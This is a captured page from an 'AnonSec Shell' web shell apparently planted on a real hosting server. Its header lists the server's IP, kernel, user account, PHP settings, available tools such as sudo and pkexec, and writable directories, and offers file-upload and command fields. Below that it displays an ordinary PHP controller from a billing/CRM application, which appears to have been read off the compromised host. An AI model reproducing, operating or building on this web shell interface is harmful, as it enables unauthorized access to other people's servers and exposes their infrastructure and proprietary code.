AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/mundotennis/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/mundotennis/application/controllers/segment.php
<?php

// *************************************************************************
// *                                                                       *
// * iBilling -  Accounting, Billing Software                              *
// * Copyright (c) Sadia Sharmin. All Rights Reserved                      *
// *                                                                       *
// *************************************************************************
// *                                                                       *
// * Email: sadiasharmin3139@gmail.com                                                *
// * Website: http://www.sadiasharmin.com                                  *
// *                                                                       *
// *************************************************************************
// *                                                                       *
// * This software is furnished under a license and may be used and copied *
// * only  in  accordance  with  the  terms  of such  license and with the *
// * inclusion of the above copyright notice.                              *
// * If you Purchased from Codecanyon, Please read the full License from   *
// * here- http://codecanyon.net/licenses/standard                         *
// *                                                                       *
// *************************************************************************

_auth();
$ui->assign('_application_menu', 'segment');
$ui->assign('_title', $_L['Contacts'] . ' - ' . $config['CompanyName']);
$ui->assign('_st', $_L['Contacts']);
$ui->assign('content_inner', inner_contents($config['c_cache']));
$action = $routes['1'];
$user = User::_info();
$ui->assign('user', $user);

$ui->assign('jsvar', '
_L[\'Working\'] = \'' . $_L['Working'] . '\';
_L[\'Submit\'] = \'' . $_L['Submit'] . '\';
 ');


switch ($action) {
    case 'list':

        // find all groups

        $s = ORM::for_table('crm_segments')->order_by_asc('sorder')->find_array();

        $ui->assign('s', $s);

		$ui->assign('xheader', Asset::css(array('s2/css/select2.min')));
        $ui->assign('xfooter', Asset::js(array('s2/js/select2.min', 'contacts/segments')));

        $ui->assign('jsvar', '
        _L[\'are_you_sure\'] = \'' . $_L['are_you_sure'] . '\';
         ');
        $ui->display('crm_segments.tpl');
        break;


    case 'add-post':
        //recebe o nome do segmento para adicionar no banco de dados
        $name = _post('segment_name');
		$id_parent = _post('parent_segment_name');
        if ($name != '') {
            //check same group already exist
            $c = ORM::for_table('crm_segments')->where('name', $name)->find_one();
            if ($c) {
                ib_die($_L['A Segment with same name already exist']);
            }
            $d = ORM::for_table('crm_segments')->create();
            $d->name = $name;
			$d->id_parent = ($id_parent == '') ? null : $id_parent;
            $d->sorder = 0;
            $d->save();

            echo $d->id();
        } else {
            echo $_L['Segment Name'] . $_L['is required'];
        }

        break;

    case 'edit-post':

        $id = _post('id');
        $id = str_replace('e', '', $id);
		$id_parent = _post('parent_segment_name');
        $name = _post('name');
        //grupos fixos no sistema não pode editar. validação para ação

        $d = ORM::for_table('crm_segments')->find_one($id);

        if ($d) {
            // update all gname in contacts
            $d->name = $name;
			$d->id_parent = ($id_parent == '') ? null : $id_parent;
            $d->save();

            echo $d->id;
        }

        break;



    case 'ajax-list':
        //recebe o parametro do estado
        $segment = ORM::for_table('crm_segments')
			->table_alias('seg')
			->select('seg.*')
			->select_expr('(SELECT name FROM crm_segments WHERE id = seg.id_parent)', 'parent_name')
			->find_many();
        foreach ($segment as $s) {
            $data[] = array(
                'id' => $s->id,
                'name' => $s->name,
				'id_parent' => $s->id_parent,
				'parent_name' => $s->parent_name,
            );
        }
        echo json_encode($data);
    break;

	case 'ajax-parent-list':
		$term = (empty(_post('term'))) ? '' : _post('term');

		//recebe o parametro do estado
		$stmt = ORM::for_table('crm_segments');

		if($term != '') {
			$stmt->where_like('name', '%' . $term . '%');
		}

		$segment = $stmt->find_many();

		$data = array();
		foreach ($segment as $s) {
			$data[] = array(
				'id' => $s->id,
				'name' => $s->name
			);
		}
		echo json_encode($data);
	break;


	//remove o segmento
    case 'delete':
        $id = intval(str_replace('s', '', $routes[2]));
        $d = ORM::for_table('crm_segments')->find_one($id);
        if ($d) {
			$child = ORM::for_table('crm_segments')->where('id_parent', $d->id)->find_many();
			if (count($child) > 0) {
				r2(U . 'segment/list/', 'e', $_L['Not permited remove this segment. Segment having  Contacts']);
			}

            // find all items com a unidade
            $client = ORM::for_table('crm_accounts')->where("segment_id", $id)->find_many();
            if (count($client) > 0) {
                r2(U . 'segment/list/', 'e', $_L['Not permited remove this segment. Segment having  Contacts']);
            } else {
                $d->delete();
                _log($_L['Segment Deleted'] . " - " . $d->name, 'Admin', $user['id']);
                r2(U . 'segment/list/', 's', $_L['Segment Deleted Successfully']);
            }
        } else {
            echo 'not found';
        }
        break;

    default:
        echo 'action not defined';
}

Anon7 - 2022
AnonSec Team